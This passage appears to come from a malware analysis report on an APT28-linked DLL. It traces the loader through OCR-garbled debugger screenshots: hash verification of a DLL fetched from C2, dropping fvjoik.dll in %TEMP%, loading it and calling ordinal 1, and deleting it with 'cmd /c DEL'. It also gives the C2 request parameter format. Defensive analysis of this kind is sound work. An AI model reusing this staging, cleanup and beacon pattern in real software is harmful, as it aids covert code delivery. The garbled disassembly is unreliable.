After the base64-encoded DLL file is decoded, then the malware hashes the buffer that is supposed to contain a DLL

file using the SHA256 algorithm:

. A 00 & XB7TSW_E 0 X87SW.C3 O xB7SW.C2 O
M FF 74 24 18 push aword ptr esp+15l XB7SW_CL 0 X87SWCO D xB7SWES ©
. 57 push edi edi:"c XB87SW_SF 0 x87SW_P O xB7SW. U 0
. FF 74 24 34 push dword ptr ss:([fesp+34] -
Fg—> FF 15 0C BO D7 6B call dword ptr <&CryptHashpatas] v
. B - - E——— 5 | Defoult (stdcall) ~|[5 [£] 0 urlock
- 1: [esp] DACA3768 <&CPCreateHash>
dword pir [GED7BOOC <aptzs.dalryptHashData>]=<advapi3z.CryptHashbata> [esp+s] 04DEEFES "CLCCCECCCECCCECCCTCECTCEcee
{esp-s] 0000000
i " [esp+C] 0000000
.TEeXT:6BD71AC4 apt2s8.dl11:$1AC4 #ECH [esp+10] 5507195D apt2s. 6BD71960
" 5 5 . . = ) T4CAZ768
EWoump1  @oump2  @oump3  Woump4  Eoumps B watchi  pellocals P stuct 0488F65C | 04D66F68 | "CCCCCCCCCCCCCCCCCCCCCCCCECCOCCec™
04857 6A0
U -~ = ! I~ 00000000

Figure 51

The hash value is extracted by calling the CryptGetHashParam API,

as shown in figure 52 (0x2 = HP_HASHVAL):

Address | Hex

€A 00 RS AGsIm_B 3 LEmpLys Ao/ in_s 3 LEmpLY)
8D 44 24 30 lea eax,dword ptr ss:[esp+30]
50 push eax x875tatusword 0000
3 push esi xB7SW_B XB7SW_C3 0 XB7SW.C2 0
6A 02 h 2 XB7SW_C1 0 xB7SW_CO 0 xB7SW_ES 0
FF 74 24 38 push dword ptr ss:fesp+3s] XB7SW_SF 0 XB7SW_P 0 xBTSW_U 0
C7 44 24 40 04 01 00 00 |mov dword ptr ss:[esp+4of,104
FF 15 10 BO D7 68 call dword ptr «(ryptﬁemashparam] v
e 5 | Default (stcal) ~|[5_[£] 0 urlock
= 1: [esp] D4CA3768 <&CPCreateHash>
dword ptr [6BD7B010 <apt28.&CryptGetHashParam>]=<advapi32.CryptGetHashParam> Z: [espr4] 00000002
3: [esp+8] 02F997A8
4: [esp+C] 0488FED4
.TeXT:6BD7IAE6 apt28.d11:$1AE6 #EE6 |5: [esp+10] 00000000
iy i i il il 8 = ) 04CAZ768
Wyoumpi  @hpump2  WYpump3  Boump4  @loumps @8 watch1  Drellocals ' Struct D453F 695 | 00000002
‘0488F69C | 02ZF997A8
Address | Hex | Asciz ] |~ s o
02F297A8[188( 00 00 00[00 00 00 00[00 00 00 00[00 00 00 0O|R............... | | OQBEFBA& 40 00000000

D2F997AB 9A FBE F4 C8

DZF297ES

Figure 53

E2 BO €4 4208 FC 1C 14
27 AE 41 E4|G64 9B 93 4C|A4 95 99 1B|78 52 BB 55

a*AB.0...U0E.0" %
'eAdd. . LH...XR _U

The malicious process verifies if the hash value computed above coincides with a 32-byte buffer that comes with the

DLL file (of course that the response is emulated in our case, but we can adjust it to pass the comparison):
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8B 08 mov ecx,dword ptr ds:[eax]
3B OE cmp ecx,dword ptr ds:[esi]
* 75 10 jne apt28.6BD71B26

1
e

ecx=41415A4D
dword ptr [esi]=[02F997A8]=42C4B0E3

.Text:6BD71B12 aptz2s.d11:51B12 #F12

@Woump:  @Wpumpz  @WDump3  @WDump4  @WDumps @ watch1  Ie=lLocals # struct

Address | Hex | ASCTI |

054FE020| 4D SA 43 4341 41 41 21[41 41 41 4141 41 41 41| MEARAAAAAAAAAAAA |

Figure 54

! ®| GEDT1B10 8E 08 mov ecx,dword ptr ds:|eax]
4 3B OE cmp ecx,dword ptr ds:[esi]
r----@| 6ED71E14| ~ 75 10 jne apt28.6BD71B26

ecx=41414141
dword ptr [esi]=[02F997AC]=141CFC98

.Text:6BDF1B12 apt258.d11:$1B12 #F1z

WWoump:  @pumpz  Wloump3  @Dump4  @Woumps @ watch1  [x=lLocals # struct

[address [Hex | AscII [

[054FE020(E3 B0 C4 4240 93 43 23(4] 41 4] 41[31 41 41 41[3°AEARARAAAAAAAA |

Figure 55

GetTempPathW is utilized to retrieve the path of the %TEMP% directory:

push eax X87SW_SF 0 X87SW_FP 0 XB7SW_U o
68 04 01 00 0O push 104 i =
FF 15 A3 BO D7 6B call dword ptr ds:[<&GetTempPathw:] v
mmorn S g T S e M 5 |Default (stdcal) - [ unlock
== 1: [es| ‘00000104
dword ptr [GED7BOAE <apt28.&GetTempPathw>]=<kernel3z.GetTempPathws 2: Eesgl-ﬂ 0458F6DS
3: [esp+3] GBD71960 aptzs8.&BD71960
4: [esp+C] 6BD71960 apt28.6BD71960
.TexXT:6BD71B6D apt28.d11:$1B6D #F6D 5: [esp+lDd] 000DODOD
i 00000104
Woump1 | @Moump2 WMoump3  Whpumpa  Whpumps @ watch1  Ix-llocals g Stuct mea“m. SR

Figure 56

The malicious process creates a file called fvjoik.dll in the % TEMP% directory, as shown below:

g
dword ptr [6BD7B040 <apt28.&Createrilew>]=<kernel3z.Createrilen> [espt4] 40000000

.Text:68D71BB3 apt28.d11:§18B3 #FB3 [esp+10] 00000004

Woump1  @ipump2 @Hoump3  @pumps  Whoumps @ watchi  bellocak | P Stuct

Address | Hex ASCIT ~

04DGGFGE |40 GA 43 4343 43 43 43(43 43 43 43]43 43 43 43 | MECCCCCCCCCCCCCC

04D6EF7S 3343 23 43 | CCCCCCCCCECCCCCT 00000080
bz R Em e e i oiasrans Soronco

Figure 57

The newly created file is populated with the potential DLL downloaded from the C2 server:

o Ty T ) XS/IM_4 3 LEMDLY)  KB/IN_> 3 (EWPLY)

i €8 80 00 00 00 SUSh 30 x87TW_6 3 (Empty) xB7TW_7 3 (Empty)

h 6A 04 push 4

i €A 00 push 0 x875tatusword 0000

i 6A 02 push z xB7SW_B O XBFSW_C3 0 x87SW.C2Z O

i 68 00 00 00 40 push 40000000 XB7SW_C1 O XxB7SW_CO 0 x87SW_ES O

s 8D 44 24 48 lea eax,dword ptr ss:[fesp+as) XB7SW_SF O XB7SW_P 0 X875W_U o

5 50 pshica it . e e =

FF 15 40 BO D7 6B ca rd ptr ds:[<&Createrilew> v

B = e e Defauit (stdcal) ~|[5_[2]0] unlock

[esp] 0488FeDB L"C:\\Users'\\IEE \AppData‘’\Loc

T \Users\\II\\AppDatay\Local\\Temp\\fvioik. a11"

i FIEHTG Ko/ Wb 3 (EMPLY)  RS/IW_/ 3 LEMDLY)
a4 24 28 lea eax,dword ptr ss:[fesp+2zs]
push eax x875tatusword 0000
74 24 1C push dword ptr ss:fesp+icl X87SW_B 0 X87SWC3 O XB7SW.CZ O
44 24 30 00 00 00 00 |mov dword ptr ss:[iesp+30],0 : X87SW_CL 0 X87SW CO O XB7SW_ES 0O
push edi edi:"m X87TSW_SF 0 XB7TSW_P O X87SW_U 0
push esi -
15 38 BO D7 6B call dword ptr ds:[<awriteFiles] v
it 5 |Default (stdcal) ~ |[5_2] [ unlock
= = s 394
dword ptr [6BD7BD38 <apT28.&writeriles]=<Kernelsz.Writeriles [espra] 04DGEFES "MZCCCCCCCCCCCCCCCCCOCCOTCCT
[esp+8] 00000000
[esp+C]_0488F6CC
.text:EGBD71BFS apt28.d11:$1BFS #FF5 5: [esprid] 00000000
n i " " i = ) 00000494
UWoump1  @oump2  @oump3  WHoump 4 Eoumps B watchi  prellocals 7 stuct '04B8F698 | D4DEEFES | "MZCCCCCCCCCCCCCCCCCCCCCCcceceece”
Address | Hex | Asciz ] ~
04DGGFGS [0 SA 43 ga|33 43 43 31|33 43 43 ga|33 43 43 43 [MECCCCCCCCCCCCCC g““mq g;gggggg

Figure 58

The DLL file is loaded into the address space of the current process using the LoadLibraryW routine:
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50 push eax
FF 15 B0 BO D7 &8 €all dword ptr ds:[<sLoadLibraryw>]

v
Default (stdcall) ~|[5_#](] unlods

1: [esp] 048BFEDS L'C:\\Users\\JEE\\AppData\’\Loc

2: [@sp+4] 6BD71960 apr2s.6BD71960

3: [esp+8] 6BD71960 apt2s.6BD71960

4: [esp+C] 00000000

5: [esp+l0] 04D4CT28 "MZAAMZAAAAAAAAAAAAMAAAMAAL

0485FEDE [ L C:h\\Usersy W \AppDatayiLocali\\Tempi\\fvjoik.dl1"

dword ptr [6BD7B0B0 <aptzB.&LoadLibraryWs]=<kernel32.LoadLibraryws

. TEXT:EBD71C26 apt28.d11:$1C26 #1026

TN e e e i e e e e

Figure 59

The malware will execute the exported function with ordinal 1, as highlighted in the next figure:

6A 01 push 1 ‘ XB87SW_SF 0 XB7SW_P 0 X87SW_U o

56 push esi o - -

FF 15 AD BO D7 6B €all dword ptr ds:[<&GetProcAddress>] ~

P An R 5 | Default (stdcal) ~ (5 [2]0] unlock

1: [esp] 00001234
dword ptr [GBD7BOAD <apt28.&GETProcAddresss]=<kernelsz.GetProcAddresss 3t Egsglq 00000001
3: [esp+8] 6BD71960 apt28.GED71960
4: [esp+C]_6BD71960 apt28.6BD71960
5: [esp+10] 00000000

.text:6BD71C31 apt28.d11:51C31 #1031
& 00001234
|diwumu1 @oump2  @oump3  @pump4  @Woumps @B watchi  Irellocals g Stuct m‘mom_

Figure 60

After the function finishes, there is a call to WinExec that deletes the DLL file created earlier:

€A 00 push o X87TW_6 3 (EmMPty)  X87TW_7 3 (Empty)
80 85 F8 FE FF FF Tea eax,dword ptr ss:[febp-103]
50 push eax eax:"cm | x875tatusword 0000
FF 15 8C BO D7 68 call dword ptr ds:[6BD7808C] WINEXEC | x875W_ B 0 x875W.C3 0 xB7SW.C2 0
8B 4D FC mov ecx,dword ptr ss:[Jebp-4]) XB7SW_CL 0 x875W_CO O xB75W ES 0
33 € xor ecx,ebp XB7SW_SF 0 xB7SW_P O xB7SW U 0
HE pop_esi esi:lst S :
E8 FF 1D 00 00 €alll apt28.6BD72EB0 v
s it 5 | Defeult (stdcall ~ [5_[2][J unlodk
1: [esp] 0488F598 "cmd /c DEL \"C:\\Users
dword ptr [apt28.6BD7BOBC]=aclayers.GAC35310 >t {esgla.] 00000000 - — Vi
3: [esp+8] 00000000
4: [esp+C] 555C3A43
.TEXT:6BD710A0 apt28.d11:$10A0 #4A0

0488F598 | "cmd /c DEL \"C:\\Users\'NEER\AppData\\Local\\Temp'
00000000

00000000
555C3A43
73726573
< | 4D45525¢
7070415C | "BE!PoTicy”

Woumpi | @Hpump2  WWoump3  WHoumpa  Whoumps @ watchi  Iellocal 7 struct

ASCII

22 43 3A 5C|Emd /c DEL “C:\

z i r ppoat
NPV

2 0 43 61 7a|Users'EENA
63 61 6C 5C|54 6 €D 70|5C 66 76 6A|a\Local\Temp
64 6C 6C 20|22 00 00 00|00 00 00 O0|oik.d11 ".......

£3 ¢0 ¢4 20
0488F5AB(55 73 65 72
0488F5BB(61 5C 4C 6F
0488F5C8|GF 69 68 2F

Figure 61

The process communicates again with the C2 server, and we believe that it transmits the result of the DLL execution
(we won’t go into too much details here because it’s pretty much the same activity described so far). The parameters
of the request are again as follows: “id=<hostname>#Username#<Serial number in

decimal>&current=1&total=1&data=<data to be transmitted>".
Main thread activity

The main thread sets the event created before to the signaled state:

FF 35 28 18 D8 68 push dword ptr ds:[GEDS1828] | X87SW_SF 0 xB7SW.P 1 xB7SW.U 0
€7 45 F8 00 00 00 00 mov_dword ptr ss:[febp-5],0 e
FF 15 78 BO D7 68 call dword pt f[<&seTEvent>]

s
v
e 75 | Default (stdcal) ~ |[5_[2](J unlock
1: [esp] 0000D:
2: [esp+4] 00000000
3: [esp+8] 00000000
43

dword ptr [6BD7BO78 <apr2s.&SeTEVent>]-<Kernelsz.SetEvents

es D2FB1068 L"\"C:\\USers pesktol
.TEXT:EBD7IDF4 apt28.d11:$I1DF4 #11F4 [esp+C] ASSANY 3N A% E

[T e e e e C IEREREXEY 00000278 |

Figure 62

The malware retrieves the termination status of the 2 threads using the GetExitCodeThread API:

50 push eax XB7SW_SF 0 XB7SW_P 1 X87SW_U
53 push ebx
FE call esi ESTEGEE |,
e P —rEmTETE rrem
5 | Default (stdcal) ~|[5_[£]0] unlock
1: [es| 0000027C
esi=<kernel32.GetExitCodeThread> (7GA74EFD) 2t EESSL] 0091FB5 4
3: [esp+8] 00000000
43 00000000
. Text:6BD71E0S apt28.dl11:$1E05 #1205 Lesp+C]
) 0000027C
@Woump1  @pump2  WHDump3  @Houmpa  WWpumps @ wawhi  bellocals ) stuct %.
50 push eax R X87TSW_SF 0 XB7SW_P 1 X875W.U O
57 push edi ozcw o Pl
FF D6 call esi esi:Get =
e TR RIRTIG e =
3 [Default (stdcal) [5 2] unod
1:
Ssi—<kernel3z.GetExitCodeThreads (76A74EF0) D o
3: [esp+s] 00000000
4: ‘00000000
.text:6BD71EOC apt28.d11:$1E0C #120C [ESM].
[ 00000280
| @Woumpi  @Ypump2  WMpump3  WHoumps  BHoumps @ watch1  -llocaks # struct msq‘

Figure 64
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